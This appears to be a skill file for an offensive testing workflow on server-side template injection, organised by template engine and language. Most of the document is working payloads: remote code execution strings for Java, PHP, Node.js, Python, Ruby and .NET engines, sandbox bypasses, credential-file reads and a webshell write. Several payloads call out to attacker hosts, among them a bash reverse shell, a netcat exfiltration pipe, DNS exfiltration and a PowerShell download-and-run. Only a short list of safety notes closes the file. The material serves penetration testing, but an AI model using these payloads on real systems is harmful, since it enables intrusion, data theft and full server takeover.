SSTI (Server-Side Template Injection) Testing
A comprehensive skill for detecting, identifying, and exploiting Server-Side Template Injection vulnerabilities across multiple template engines and programming languages.
Quick Start Workflow
- Detect - Fuzz the target with template injection payloads
- Identify - Determine which template engine is in use
- Exploit - Craft payloads for the specific engine
- Escalate - Move from detection to RCE if possible
Detection Phase
Initial Fuzzing
Start by injecting these special characters to detect template processing:
${{<%[%'"}}%
What to look for:
- Errors thrown (reveals vulnerability and potentially the engine)
- Payload missing from response (server processes it differently)
- Mathematical evaluation (e.g.,
{{7*7}}returns49)
Distinguish from XSS
Plaintext Context - Server evaluates template expressions:
{{7*7}}→49(SSTI){{7*7}}→{{7*7}}(XSS or no vulnerability)
Code Context - Test dynamic behavior:
- Change
greeting=data.usernametogreeting=data.username}}hello - If output changes dynamically, SSTI is likely present
Engine Identification Payloads
Use these to identify the template engine:
| Engine | Test Payload | Expected Result |
|---|---|---|
| Jinja2 | {{7*7}} |
49 |
| Twig | {{7*7}} |
49 |
| FreeMarker | ${7*7} |
49 |
| Velocity | ${7*7} |
49 |
| Thymeleaf | ${7*7} or [[${7*7}]] |
49 |
| ERB (Ruby) | <%= 7*7 %> |
49 |
| ASP | <%= 7*7 %> |
49 |
| Go | {{ . }} |
Data structure |
Tools
Automated Scanners
TInjA - Efficient SSTI + CSTI scanner with polyglots:
tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
tinja url -u "http://example.com/" -d "username=Kirlia" -c "PHPSESSID=ABC123..."
SSTImap - Crawler and SSTI detector:
python3 sstimap.py -i -l 5
python3 sstimap.py -u "http://example.com/" --crawl 5 --forms
python3 sstimap.py -u "https://example.com/page?name=John" -s
Tplmap - Automated SSTI exploitation:
python3 tplmap.py -u 'http://target.com/page?name=John*' --os-shell
python3 tplmap.py -u "http://target.com/page?user=InjectHere*" --level 5 -e jade
Exploitation by Engine
Java Template Engines
FreeMarker
Basic detection:
{{7*7}} = {{7*7}}
${7*7} = 49
#{7*7} = 49 (legacy)
RCE payloads:
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}
Sandbox bypass (versions < 2.3.30):
<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}
Velocity
#set($s="")
#set($stringClass=$s.getClass())
#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())
#set($process=$runtime.exec("id"))
#set($out=$process.getInputStream())
#set($null=$process.waitFor())
#foreach($i in [1..$out.available()])
$out.read()
#end
Thymeleaf
Detection:
[[${7*7}]]
${7*7}
SpringEL RCE:
${T(java.lang.Runtime).getRuntime().exec('calc')}
OGNL RCE:
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}
Expression preprocessing:
#{selection.__${sel.code}__}
Spring Framework
Basic RCE:
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}
Bypass filters - Try these delimiters if ${...} doesn't work:
#{...}*{...}@{...}~{...}
Read /etc/passwd:
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
Generate encoded payloads: Use scripts/generate_java_payload.py to create character-encoded command payloads.
Jinjava / HuBL (HubSpot)
Detection:
{{'a'.toUpperCase()}} → 'A'
{{ request }} → com.[...].context.TemplateContextRequest@23548206
RCE:
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval("var x=new java.lang.ProcessBuilder; x.command(\"whoami\"); x.start()")}}
With output capture:
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval("var x=new java.lang.ProcessBuilder; x.command(\"netstat\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())")}}
Groovy
Basic payload:
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "whoami";
assert java.lang.Runtime.getRuntime().exec(cmd.split(" "))
})
def x
With output capture:
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "whoami";
out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next()
cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".attacker.com";
java.lang.Runtime.getRuntime().exec(cmd2.split(" "))
})
def x
PHP Template Engines
Twig
Detection:
{{7*7}} = 49
${7*7} = ${7*7}
{{7*'7'}} = 49
{{1/0}} = Error
Information gathering:
{{_self}}
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}
File read:
"{{'/etc/passwd'|file_excerpt(1,30)}}"
RCE payloads:
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
{{['id']|filter('system')}}
{{['cat /etc/passwd']|filter('system')}}
Suppress errors:
{{["error_reporting", "0"]|sort("ini_set")}}
Smarty
Detection:
{$smarty.version}
RCE:
{php}echo `id`;/php} // deprecated in v3
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
Node.js Template Engines
Nunjucks
Detection:
{{7*7}} = 49
{{foo}} = No output
#{7*7} = #{7*7}
RCE:
{{
range.constructor(
"return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')"
)()
}}
Reverse shell:
{{
range.constructor(
"return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.11/6767 0>&1\"')"
)()
}}
Handlebars
Path traversal:
curl -X 'POST' -H 'Content-Type: application/json' --data-binary '{"profile":{"layout": "./../routes/index.js"}}' 'http://target:9090/'
RCE (complex):
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
Pug.js / Jade
Detection:
#{7*7} = 49
RCE:
#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}
Jade style:
- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')
JsRender
Server-side RCE:
{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}
Python Template Engines
Jinja2
Detection:
{{7*7}} = Error (in some configs)
{{4*4}}[[5*5]]
{{7*'7'}} = 7777777
{{config}}
{{config.items()}}
{{settings.SECRET_KEY}}
Debug:
{% debug %}
RCE (without builtins):
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}
Tornado
Detection:
{{7*7}} = 49
${7*7} = ${7*7}
{{foobar}} = Error
{{7*'7'}} = 7777777
RCE:
{% import os %}
{{os.system('whoami')}}
Mako
RCE:
<%
import os
x=os.popen('id').read()
%>
${x}
Ruby Template Engines
ERB
Detection:
{{7*7}} = {{7*7}}
${7*7} = ${7*7}
<%= 7*7 %> = 49
<%= foobar %> = Error
RCE:
<%= system("whoami") %>
<%= Dir.entries('/') %>
<%= File.open('/etc/passwd').read %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines() %>
With Open3:
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
Slim
Detection:
{ 7 * 7 }
RCE:
{ %x|env| }
.NET Template Engines
Razor
Detection:
@(2+2) → Success
@() → Success
@("{{code}}") → Success
@ → Success
@{} → ERROR!
@{ → ERROR!
RCE:
@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");
Encoded PowerShell:
@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc [base64]");
ASP Classic
Detection:
<%= 7*7 %> = 49
<%= "foo" %> = foo
<%= foo %> = Nothing
RCE:
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://attacker/shell.ps1')").StdOut.ReadAll() %>
Go Template Engine
Detection:
{{ . }} → Reveals data structure
{{printf "%s" "ssti" }} → ssti
{{html "ssti"}} → ssti
{{js "ssti"}} → ssti
XSS bypass:
{{define "T1"}}alert(1){{end}}{{template "T1"}}
RCE - Requires object with executable methods:
{{ .System "ls" }}
Perl (Mojolicious)
Detection:
<%= 7*7 %> = 49
<%= foobar %> = Error
RCE:
<%= perl code %>
<% perl code %>
Common Techniques
Command Execution Patterns
Java Runtime:
T(java.lang.Runtime).getRuntime().exec('command')
Python os module:
os.popen('command').read()
os.system('command')
Node.js child_process:
require('child_process').execSync('command')
Ruby:
system('command')
`command`
IO.popen('command').read
File Operations
Read files:
- Java:
T(org.apache.commons.io.IOUtils).toString(Runtime.getRuntime().exec('cat file').getInputStream()) - Python:
open('file').read() - Ruby:
File.open('file').read - Node.js:
require('fs').readFileSync('file')
Environment Variables
Java:
${T(java.lang.System).getenv()}
Python:
{{config}}
{{settings}}
Scripts
Use the bundled scripts for common tasks:
scripts/generate_java_payload.py- Generate character-encoded Java payloadsscripts/ssti_detect.py- Automated detection fuzzing
Safety Notes
- Always have authorization before testing
- Use isolated environments for RCE testing
- Document findings responsibly
- Consider the impact of each payload